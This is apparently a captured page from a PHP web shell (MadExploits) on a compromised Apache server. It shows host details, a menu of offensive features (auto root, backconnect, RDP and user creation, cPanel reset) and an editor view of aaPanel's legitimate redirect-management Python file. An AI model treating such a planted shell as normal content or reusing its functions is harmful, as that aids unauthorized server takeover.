Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.191.9.67
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panel_redirect_v2.py
#coding: utf-8 #------------------------------------------------------------------- # aaPanel #------------------------------------------------------------------- # Copyright (c) 2015-2018 aaPanel(www.aapanel.com) All rights reserved. #------------------------------------------------------------------- # Author: hwliang <hwl@aapanel.com> #------------------------------------------------------------------- #------------------------------ # URL重写类 #------------------------------ import os,public,json,re,sys,socket,shutil from public.validate import Param os.chdir("/www/server/panel") class panelRedirect: setupPath = '/www/server' __redirectfile = "/www/server/panel/data/redirect.conf" __firsturl="" #匹配目标URL的域名并返回 def GetToDomain(self,tourl): if tourl: rep = r"https?://([\w\-\.]+)" tu = re.search(rep, tourl) return tu.group(1) #取某个站点下所有域名 def GetAllDomain(self,sitename): domains = [] id = public.M('sites').where("name=?",(sitename,)).getField('id') tmp = public.M('domain').where("pid=?",(id,)).field('name').select() for key in tmp: domains.append(key["name"]) return domains #检测被重定向域名是否有已经存在配置文件里面 def __CheckRepeatDomain(self,get,action): conf_data = self.__read_config(self.__redirectfile) repeat = [] # for conf in conf_data: # if conf["sitename"] == get.sitename and conf["redirectname"] != get.redirectname: # repeat += list(set(conf["redirectdomain"]).intersection(set(get.redirectdomain))) for conf in conf_data: if conf["sitename"] == get.sitename: if action == "create": if conf["redirectname"] == get.redirectname: repeat += list(set(conf["redirectdomain"]).intersection(set(get.redirectdomain))) else: if conf["redirectname"] != get.redirectname: repeat += list(set(conf["redirectdomain"]).intersection(set(get.redirectdomain))) if list(set(repeat)): return list(set(repeat)) #检测被重定向路径是否重复 def __CheckRepeatPath(self, get): conf_data = self.__read_config(self.__redirectfile) repeat = [] for conf in conf_data: if conf["sitename"] == get.sitename and get.redirectpath != "": if conf["redirectname"] != get.redirectname and conf["redirectpath"] == get.redirectpath: repeat.append(get.redirectpath) if repeat: return repeat # 检测URL是否可以访问 def __CheckRedirectUrl(self, domainlist): """ @name 检测URL是否可以访问 @author: hezhihong @param domainlist: 域名列表 """ http_list=[] import requests for i in domainlist: i = i.replace("*.", "") https_url = "https://" + i http_url = "http://" + i try: response=requests.get(https_url,timeout=20) if response.status_code==200:return https_url except:pass try: response=requests.get(http_url,timeout=20) if response.status_code==200:http_list.append(http_url) except:pass if http_list:return http_list[0] else:return [] # 计算proxyname md5 def __calc_md5(self,redirectname): import hashlib md5 = hashlib.md5() md5.update(redirectname.encode('utf-8')) return md5.hexdigest() # 设置Nginx配置 def SetRedirectNginx(self,get): ng_redirectfile = "%s/panel/vhost/nginx/redirect/%s/*.conf" % (self.setupPath,get.sitename) ng_file = self.setupPath + "/panel/vhost/nginx/" + get.sitename + ".conf" p_conf = self.__read_config(self.__redirectfile) if public.get_webserver() == 'nginx': shutil.copyfile(ng_file, '/tmp/ng_file_bk.conf') if os.path.exists(ng_file): ng_conf = public.readFile(ng_file) if not p_conf: rep = "#SSL-END(\n|.)*\\/redirect\\/.*\\*.conf;" ng_conf = re.sub(rep, '#SSL-END', ng_conf) public.writeFile(ng_file, ng_conf) return sitenamelist = [] for i in p_conf: sitenamelist.append(i["sitename"]) if get.sitename in sitenamelist: rep = r"include.*\/redirect\/.*\*.conf;" if not re.search(rep,ng_conf): ng_conf = ng_conf.replace("#SSL-END","#SSL-END\n\t%s\n\t" % ("#referenced redirect rule, if commented, the configured redirect rule will be invalid") + "include " + ng_redirectfile + ";") public.writeFile(ng_file,ng_conf) else: rep = "#SSL-END(\n|.)*\\/redirect\\/.*\\*.conf;" ng_conf = re.sub(rep,'#SSL-END',ng_conf) public.writeFile(ng_file, ng_conf) # 设置apache配置 def SetRedirectApache(self,sitename): ap_redirectfile = "%s/panel/vhost/apache/redirect/%s/*.conf" % (self.setupPath,sitename) ap_file = self.setupPath + "/panel/vhost/apache/" + sitename + ".conf" p_conf = public.readFile(self.__redirectfile) if public.get_webserver() == 'apache': shutil.copyfile(ap_file, '/tmp/ap_file_bk.conf') if os.path.exists(ap_file): ap_conf = public.readFile(ap_file) if p_conf == "[]": rep = "\n*%s\n+\\s+IncludeOptiona[\\s\\w\\/\\.\\*]+" % ("#referenced redirect rule, if commented, the configured redirect rule will be invalid") ap_conf = re.sub(rep, '', ap_conf) public.writeFile(ap_file, ap_conf) return if sitename in p_conf: rep = "%s(\n|.)+IncludeOptional.*\\/redirect\\/.*conf" % ("#referenced redirect rule") rep1 = "combined" if not re.search(rep,ap_conf): ap_conf = ap_conf.replace(rep1, rep1 + "\n\t%s" % ("#referenced redirect rule, if commented, the configured redirect rule will be invalid") +"\n\tIncludeOptional " + ap_redirectfile) public.writeFile(ap_file,ap_conf) else: rep = "\n*%s\n+\\s+IncludeOptiona[\\s\\w\\/\\.\\*]+" % ("#referenced redirect rule, if commented, the configured redirect rule will be invalid") ap_conf = re.sub(rep,'', ap_conf) public.writeFile(ap_file, ap_conf) # 创建修改配置检测 def __CheckRedirectStart(self,get,action=""): isError = public.checkWebConfig() if (isError != True): return public.return_message(-1, 0, public.lang("An error was detected in the configuration file. Please solve it before proceeding")) if action == "create": #检测名称是否重复 if sys.version_info.major < 3: if len(get.redirectname) < 3 or len(get.redirectname) > 15: return public.return_message(-1, 0, public.lang("Database name cannot be more than 16 characters!")) else: if len(get.redirectname.encode("utf-8")) < 3 or len(get.redirectname.encode("utf-8")) > 15: return public.return_message(-1, 0, public.lang("Database name cannot be more than 16 characters!")) if 'errorpage' in get:is_error_page = True else:is_error_page = False if self.__CheckRedirect(get.sitename,get.redirectname,is_error_page): return public.return_message(-1, 0, public.lang("Specified redirect name already exists")) #检测目标URL格式 rep = r"http(s)?\:\/\/([a-zA-Z0-9][-a-zA-Z0-9]{0,62}\.)+([a-zA-Z0-9][a-zA-Z0-9]{0,62})+.?" if 'tourl' in get and not re.match(rep, get.tourl): return public.return_message(-1,0, public.lang('Target URL format is wrong {}', get.tourl)) #非404页面重定向检测项 if 'errorpage' not in get: #检测是否选择域名 if get.domainorpath == "domain": if not json.loads(get.redirectdomain): return public.return_message(-1, 0, public.lang("Please select redirected domain")) else: if not get.redirectpath: return public.return_message(-1, 0, public.lang("Please enter redirected path")) #repte = "[\\?\\=\\[\\]\\)\\(\\*\\&\\^\\%\\$\\#\\@\\!\\~\\`{\\}\\>\\<\\,\',\"]+" # 检测路径格式 if "/" not in get.redirectpath: return public.return_message(-1, 0, public.lang("Path format is incorrect, the format is /xxx")) #if re.search(repte, get.redirectpath): # return public.return_msg_gettext(False, public.lang("代理目录不能有以下特殊符号 ?,=,[,],),(,*,&,^,%,$,#,@,!,~,`,{,},>,<,\\,',\"]")) #检测域名是否已经存在配置文件 repeatdomain = self.__CheckRepeatDomain(get,action) if repeatdomain: return public.return_message(-1,0, 'Redirected domain already exists {}' , (repeatdomain,)) #检测路径是否有存在配置文件 repeatpath = self.__CheckRepeatPath(get) if repeatpath: return public.return_message(-1,0, 'Redirected domain already exists {}' , (repeatpath,)) #检测目标URL是否可用 #if self.__CheckRedirectUrl(get): # return public.return_msg_gettext(False, public.lang("The target URL cannot be accessed")) #检查目标URL的域名和被重定向的域名是否一样 if get.domainorpath == "domain": for d in json.loads(get.redirectdomain): tu = self.GetToDomain(get.tourl) if d == tu: return public.return_message(-1,0,public.get_msg_gettext('Domain name {} is the same as the target domain name, please deselect it',(d,))) if get.domainorpath == "path": domains = self.GetAllDomain(get.sitename) rep = "https?://(.*)" tu = re.search(rep,get.tourl).group(1) for d in domains: ad = "%s%s" % (d,get.redirectpath) #站点域名+重定向路径 if tu == ad: return public.return_message(0,0,'{}, the target URL is the same as the redirected path',(tu,)) #404页面重定向检测项 else: if 'tourl' not in get and 'topath' not in get: return public.return_message(-1, 0, public.lang("Please select where you need to redirect to")) #网站首页访问检测 if 'topath' in get and get.topath == "/": domainlist=self.GetAllDomain(get.sitename) self.__firsturl=self.__CheckRedirectUrl(domainlist) if not self.__firsturl:return public.return_message(-1, 0, public.lang("The website cannot be accessed, please check whether the website is working properly")) #创建重定向 def CreateRedirect(self,get): # 校验参数 try: get.validate([ Param('sitename').String(), Param('redirectname').String(), Param('domainorpath').String(), Param('redirectpath').String(), Param('redirectdomain').String(), Param('tourl').String(), Param('type').Integer(), Param('holdpath').Integer(), Param('redirecttype').Integer(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) if self.__CheckRedirectStart(get,"create"): return self.__CheckRedirectStart(get,"create") redirectconf = self.__read_config(self.__redirectfile) redirectconf.append({ "sitename":get.sitename, "redirectname":get.redirectname, "tourl":get.tourl, "redirectdomain":json.loads(get.redirectdomain), "redirectpath":get.redirectpath, "redirecttype":get.redirecttype, "type":int(get.type), "domainorpath":get.domainorpath, "holdpath":int(get.holdpath) }) self.__write_config(self.__redirectfile,redirectconf) self.SetRedirectNginx(get) self.SetRedirectApache(get.sitename) self.SetRedirect(get) public.serviceReload() return public.return_message(0, 0, public.lang("Successfully created file!")) def ModifyRedirect(self,get): """ @name 修改、启用、禁用重定向 @author hezhihong @param get.sitename 站点名称 @param get.redirectname 重定向名称 @param get.tourl 目标URL @param get.redirectdomain 重定向域名 @param get.redirectpath 重定向路径 @param get.redirecttype 重定向类型 @param get.type 重定向状态 0禁用 1启用 @param get.domainorpath 重定向类型 domain 域名重定向 path 路径重定向 @param get.holdpath 保留路径 0不保留 1保留 @return json """ # 校验参数 try: get.validate([ Param('sitename').String(), Param('redirectname').String(), Param('domainorpath').String(), Param('redirectpath').String(), Param('redirectdomain').String(), Param('tourl').String(), Param('type').Integer(), Param('holdpath').Integer(), Param('redirecttype').Integer(), Param('errorpage').Integer(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) # 基本信息检查 if self.__CheckRedirectStart(get): return self.__CheckRedirectStart(get) redirectconf = self.__read_config(self.__redirectfile) for i in range(len(redirectconf)): domainorpath='' if 'domainorpath' not in get or not get.domainorpath:domainorpath='domain' if get.tourl else 'path' if not domainorpath:domainorpath=get.domainorpath if redirectconf[i]["redirectname"] == get.redirectname and redirectconf[i]["sitename"] == get.sitename: redirectconf[i]["tourl"] =get.tourl if 'tourl' in get and get.tourl else "" redirectconf[i]["redirectdomain"] = "" if 'redirectdomain' not in get else json.loads(get.redirectdomain) redirectconf[i]["redirectpath"] ="" if 'redirectpath' not in get else get.redirectpath redirectconf[i]["redirecttype"] ='' if 'redirecttype' not in get else get.redirecttype redirectconf[i]["type"] = int(get.type) redirectconf[i]["domainorpath"] = domainorpath redirectconf[i]["topath"] = "" if 'topath' not in get else get.topath redirectconf[i]["holdpath"] =999 if 'holdpath' not in get else int(get.holdpath) redirectconf[i]["errorpage"]=1 if 'errorpage' in get and get.errorpage in [1,'1'] else 0 self.__write_config(self.__redirectfile, redirectconf) redirect_path=get.tourl.strip() if 'tourl' in get and get.tourl else get.topath.strip() #404页面重定向 is_del= True if int(get.type) == 0 else False if 'errorpage' in get and get.errorpage in [1,'1']: web_type=public.get_webserver() if web_type == 'nginx': self.SetRedirectNginx(get) self.unset_nginx_conf(get.sitename) self.get_nginx_conf(redirect_path,get.redirecttype,get.sitename,get.redirectname,is_del) elif web_type == 'apache' or web_type == 'openlitespeed': self.get_apache_conf(redirect_path,get.sitename,get.redirectname,str(get.redirecttype),is_del) else: return public.return_message(-1, 0, public.lang("web server not installed or unknown web server")) #非404页面重定向 else: self.SetRedirect(get) self.SetRedirectNginx(get) self.SetRedirectApache(get.sitename) public.serviceReload() return public.return_message(0, 0, public.lang("Successfully modified")) def set_error_redirect(self,get): """ @name 设置404重定向 @author hezhihong @param get.sitename 站点名称 @param get.redirectname 重定向名称(唯一key标志) @param get.tourl 重定向到的url @param get.topath 重定向到的路径 @param get.redirecttype 重定向类型 @param get.type 重定向状态 0禁用 1启用 @param get.domainorpath 重定向类型 domain 域名重定向 path 路径重定向 @param get.holdpath 是否保留原路径 0不保留 1保留 @param get.errorpage 是否为404重定向 1是 0否 @return json """ public.set_module_logs('panelRedirect','set_error_redirect') check_result = self.__CheckRedirectStart(get,"create") if check_result:return check_result redirectconf = self.__read_config(self.__redirectfile) site_name= get.sitename.strip() redirect_path=get.tourl if 'tourl' in get and get.tourl and get.tourl.strip() else get.topath.strip() redirectconf.append({ "sitename":site_name, "redirectname":get.redirectname, "tourl":get.tourl if 'tourl' in get else '', "redirectdomain":"", "redirectpath":"", "topath": get.topath.strip() if 'topath' in get and get.topath.strip() else "", "redirecttype":get.redirecttype, "type":int(get.type), "domainorpath":'domain' if 'tourl' in get else 'path', "holdpath":999, "errorpage":1 }) self.__write_config(self.__redirectfile,redirectconf) web_type=public.get_webserver() if web_type == 'nginx': self.SetRedirectNginx(get) self.unset_nginx_conf(site_name) self.get_nginx_conf(redirect_path,get.redirecttype,site_name,get.redirectname) elif web_type == 'apache' or web_type == 'openlitespeed': self.SetRedirectApache(get.sitename) self.get_apache_conf(redirect_path,site_name,get.redirectname,str(get.redirecttype)) else: return public.returnMsg(False, public.lang("web server not installed or unknown web server")) public.serviceReload() return public.returnMsg(True, public.lang("404 redirect set successfully")) def get_nginx_conf(self,redirect_path,redirecttype,site_name,redirectname,is_del=False): """ @name 设置nginx 404重定向 @author hezhihong @param redirect_path 重定向到(路径或地址) @param redirecttype 重定向方式(301/302) @param site_name 站点名称 @param redirectname 重定向名称(唯一key标志) @param is_del 是否删除 """ redirectname_md5 = self.__calc_md5(redirectname) file_path= "%s/panel/vhost/nginx/redirect/%s" % (self.setupPath,site_name) public.ExecShell("mkdir -p %s" % file_path) file_path+= '/%s_%s.conf' % (redirectname_md5, site_name) add_str='#REWRITE-START\nerror_page 404 = @notfound;\nlocation @notfound {\n return '+str(redirecttype)+' '+ redirect_path+'; \n}\n#REWRITE-END' if os.path.isfile(file_path):public.ExecShell("rm -f %s" % file_path) if not is_del:public.writeFile(file_path,add_str) def get_apache_conf(self,redirect_path,site_name,redirectname='',r_type='301',is_del=False): """ @name 设置apache 404重定向 @author hezhihong @param redirect_path 重定向到(路径或地址) @param site_name 站点名称 @param redirectname 重定向名称(唯一key标志) @param is_del 是否删除 @param r_type 重定向方式 """ if self.__firsturl:redirect_path=self.__firsturl add_type=',R={}]'.format(str(r_type)) add_str='#REWRITE-START\n<IfModule mod_rewrite.c>\n RewriteEngine on\n RewriteCond %\\{REQUEST_FILENAME\\} !-f\n RewriteCond %{REQUEST_FILENAME} !-d\n RewriteRule . '+redirect_path+' [L'+add_type+'\n</IfModule>\n#REWRITE-END' redirectname_md5 = self.__calc_md5(redirectname) file_path= "%s/panel/vhost/apache/redirect/%s" % (self.setupPath,site_name) public.ExecShell("mkdir -p %s" % file_path) file_path+= '/%s_%s.conf' % (redirectname_md5, site_name) if os.path.isfile(file_path):public.ExecShell("rm -f %s" % file_path) if not is_del:public.writeFile(file_path,add_str) def unset_nginx_conf(self,site_name): """ @name 取消设置nginx 404重定向 @author hezhihong @param site_name 站点名称 """ file_path='/www/server/panel/vhost/nginx/{}.conf'.format(site_name) hta_path='/www/server/panel/vhost/rewrite/{}.conf'.format(site_name) rep_str_one='error_page 404 /404.html' rep_str_two='location = /404.html' #清理nginx伪静态404配置 hta_conf=public.readFile(hta_path) if hta_conf: hta_conf=self.replace_str_to_srt(hta_conf,rep_str_one,'','\n') hta_conf=self.replace_str_to_srt(hta_conf,rep_str_two,'','}') public.writeFile(hta_path,hta_conf) #清理nginx网站配置文件非include方式404配置 conf=public.readFile(file_path) conf=self.replace_str_to_srt(conf,rep_str_one,'','\n') conf=self.replace_str_to_srt(conf,rep_str_two,'','}') public.writeFile(file_path,conf) def replace_str_to_srt(self,conf,str_src,str_d,end_str,is_replace=False): """ @name 替换字符串 @author hezhihong @param conf 配置文件内容 @param str_src 要替换的字符串 @param str_d 替换成的字符串 @param end_str 结束字符串 @param is_replace 是否替换 """ if conf.strip(): start_num=conf.find(str_src) if start_num !=-1: d_conf=conf[start_num:] end_num = d_conf.find(end_str) if end_num ==-1:end_num=len(conf) d_conf=d_conf[:end_num+1] if is_replace:conf=conf.replace(d_conf,str_d) else:conf=conf.replace(d_conf,'') return conf # 设置重定向 def SetRedirect(self,get): ng_file = self.setupPath + "/panel/vhost/nginx/" + get.sitename + ".conf" ap_file = self.setupPath + "/panel/vhost/apache/" + get.sitename + ".conf" p_conf = self.__read_config(self.__redirectfile) # nginx # 构建重定向配置 if int(get.type) == 1: domainstr = """ if ($host ~ '^%s'){ return %s %s%s; } """ pathstr = """ rewrite ^%s(.*) %s%s %s; """ rconf = "#REWRITE-START" tourl = get.tourl # if tourl[-1] == "/": # tourl = tourl[:-1] if get.domainorpath == "domain": domains = json.loads(get.redirectdomain) holdpath = int(get.holdpath) if holdpath == 1: for sd in domains: rconf += domainstr % (sd,get.redirecttype,tourl,"$request_uri") else: for sd in domains: rconf += domainstr % (sd,get.redirecttype,tourl,"") if get.domainorpath == "path": redirectpath = get.redirectpath if get.redirecttype == "301": redirecttype = "permanent" else: redirecttype = "redirect" if int(get.holdpath) == 1 and redirecttype == "permanent": rconf += pathstr % (redirectpath,tourl,"$1",redirecttype) elif int(get.holdpath) == 0 and redirecttype == "permanent": rconf += pathstr % (redirectpath, tourl,"",redirecttype) elif int(get.holdpath) == 1 and redirecttype == "redirect": rconf += pathstr % (redirectpath,tourl,"$1",redirecttype) elif int(get.holdpath) == 0 and redirecttype == "redirect": rconf += pathstr % (redirectpath, tourl,"",redirecttype) rconf += "#REWRITE-END" nginxrconf = rconf # 设置apache重定向 domainstr = """ <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %s{HTTP_HOST} ^%s [NC] RewriteRule ^(.*) %s%s [L,R=%s] </IfModule> """ pathstr = """ <IfModule mod_rewrite.c> RewriteEngine on RewriteRule ^%s(.*) %s%s [L,R=%s] </IfModule> """ rconf = "#REWRITE-START" if get.domainorpath == "domain": domains = json.loads(get.redirectdomain) holdpath = int(get.holdpath) if holdpath == 1: for sd in domains: rconf += domainstr % ("%",sd,tourl,"$1",get.redirecttype) else: for sd in domains: rconf += domainstr % ("%",sd,tourl,"",get.redirecttype) if get.domainorpath == "path": holdpath = int(get.holdpath) if holdpath == 1: rconf += pathstr % (get.redirectpath,tourl,"$1",get.redirecttype) else: rconf += pathstr % (get.redirectpath,tourl,"",get.redirecttype) rconf += "#REWRITE-END" apacherconf = rconf redirectname_md5 = self.__calc_md5(get.redirectname) for w in ["nginx","apache"]: redirectfile = "%s/panel/vhost/%s/redirect/%s/%s_%s.conf" % (self.setupPath,w,get.sitename,redirectname_md5, get.sitename) redirectdir = "%s/panel/vhost/%s/redirect/%s" % (self.setupPath,w,get.sitename) if not os.path.exists(redirectdir): public.ExecShell("mkdir -p %s" % redirectdir) if w == "nginx": public.writeFile(redirectfile,nginxrconf) else: public.writeFile(redirectfile, apacherconf) isError = public.checkWebConfig() if (isError != True): if public.get_webserver() == "nginx": shutil.copyfile('/tmp/ng_file_bk.conf', ng_file) else: shutil.copyfile('/tmp/ap_file_bk.conf', ap_file) for i in range(len(p_conf) - 1, -1, -1): if get.sitename == p_conf[i]["sitename"] and p_conf[i]["redirectname"]: del(p_conf[i]) return public.return_msg_gettext(False, public.lang('%s<br><a style="color:red;">' % public.lang("Sorry, something went wrong") + isError.replace("\n",'<br>') + '</a>')) else: redirectname_md5 = self.__calc_md5(get.redirectname) redirectfile = "%s/panel/vhost/%s/redirect/%s/%s_%s.conf" for w in ["apache","nginx"]: rf = redirectfile % (self.setupPath,w ,get.sitename, redirectname_md5, get.sitename) if os.path.exists(rf): os.remove(rf) def del_redirect_multiple(self,get): ''' @name 批量删除重定向 @author zhwen<2020-11-21> @param site_id 1 @param redirectnames test,baohu ''' redirectnames = get.redirectnames.split(',') del_successfully = [] del_failed = {} get.sitename = public.M('sites').where("id=?", (get.site_id,)).getField('name') for redirectname in redirectnames: get.redirectname = redirectname try: get.multiple = 1 result = self.DeleteRedirect(get,multiple=1) if result['status'] !=0: del_failed[redirectname] = result['msg'] continue del_successfully.append(redirectname) except: del_failed[redirectname]=public.lang("There was an error deleting, please try again.") public.serviceReload() return public.return_message(0,0,{'msg': public.get_msg_gettext('Delete redirects [{}] successfully',(','.join(del_successfully),)), 'error': del_failed, 'success': del_successfully}) def DeleteRedirect(self,get,multiple=None): # 校验参数 try: get.validate([ Param('sitename').String(), Param('redirectname').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) redirectconf = self.__read_config(self.__redirectfile) sitename = get.sitename redirectname = get.redirectname for i in range(len(redirectconf)): if redirectconf[i]["sitename"] == sitename and redirectconf[i]["redirectname"] == redirectname: proxyname_md5 = self.__calc_md5(redirectconf[i]["redirectname"]) public.ExecShell("rm -f %s/panel/vhost/nginx/redirect/%s/%s_%s.conf" % (self.setupPath,redirectconf[i]["sitename"],proxyname_md5,redirectconf[i]["sitename"])) public.ExecShell("rm -f %s/panel/vhost/apache/redirect/%s/%s_%s.conf" % (self.setupPath,redirectconf[i]["sitename"],proxyname_md5, redirectconf[i]["sitename"])) del redirectconf[i] self.__write_config(self.__redirectfile,redirectconf) self.SetRedirectNginx(get) self.SetRedirectApache(get.sitename) if not multiple: public.serviceReload() return public.return_message(0, 0, public.lang("Successfully deleted")) def GetRedirectList(self,get): """ @name 获取重定向列表 @author hezhihong @param get.sitename 站点名 @param get.errorpage 1:404页面重定向 0:非404页面重定向 @return 重定向列表 """ # 校验参数 try: get.validate([ Param('sitename').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) redirectconf = self.__read_config(self.__redirectfile) sitename = get.sitename redirectlist = [] for i in redirectconf: if i["sitename"] == sitename: if 'errorpage' in get and 'errorpage' in i and int(get.errorpage)!=int(i['errorpage']):continue if 'errorpage' in i and i['errorpage'] in [1,'1']:i['redirectdomain']=['404 page'] redirectlist.append(i) print(redirectlist) return public.return_message(0,0,redirectlist) def ClearOldRedirect(self,get): for i in ["apache","nginx"]: conf_path = "%s/panel/vhost/%s/%s.conf" % (self.setupPath,i,get.sitename) old_conf = public.readFile(conf_path) rep ="" if i == "nginx": rep += "#301-START\n+[\\s\\w\\:\\/\\.\\;\\$]+#301-END" if i == "apache": rep += "#301-START[\n\\<\\>\\w\\.\\s\\^\\*\\$\\/\\[\\]\\(\\)\\:\\,\\=]+#301-END" conf = re.sub(rep, "", old_conf) public.writeFile(conf_path, conf) public.serviceReload() return public.return_msg_gettext(False, public.lang("Old redirection cleaned")) # 取重定向配置文件 def GetRedirectFile(self,get): # 校验参数 try: get.validate([ Param('sitename').String(), Param('redirectname').String(), Param('webserver').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) import files_v2 as files conf = self.__read_config(self.__redirectfile) sitename = get.sitename redirectname = get.redirectname proxyname_md5 = self.__calc_md5(redirectname) if get.webserver == 'openlitespeed': get.webserver = 'apache' get.path = "%s/panel/vhost/%s/redirect/%s/%s_%s.conf" % (self.setupPath, get.webserver, sitename,proxyname_md5,sitename) for i in conf: if redirectname == i["redirectname"] and sitename == i["sitename"] and i["type"] != 1: return public.return_message(-1, 0, public.lang("Redirection suspended")) f = files.files() return_message =f.GetFileBody(get) return_message['message']['file']=get.path return return_message # 保存重定向配置文件 def SaveRedirectFile(self,get): import files_v2 as files f = files.files() return f.SaveFileBody(get) # return public.return_msg_gettext(True, public.lang("Saved successfully")) def __CheckRedirect(self,sitename,redirectname,is_error=False): conf_data = self.__read_config(self.__redirectfile) for i in conf_data: if i["sitename"] == sitename: if is_error and "errorpage" in i and i["errorpage"] in [1,'1']: return i if i["redirectname"] == redirectname: return i # 读配置 def __read_config(self, path): if not os.path.exists(path): public.writeFile(path, '[]') upBody = public.readFile(path) if not upBody: upBody = '[]' return json.loads(upBody) # 写配置 def __write_config(self ,path, data): return public.writeFile(path, json.dumps(data))
Close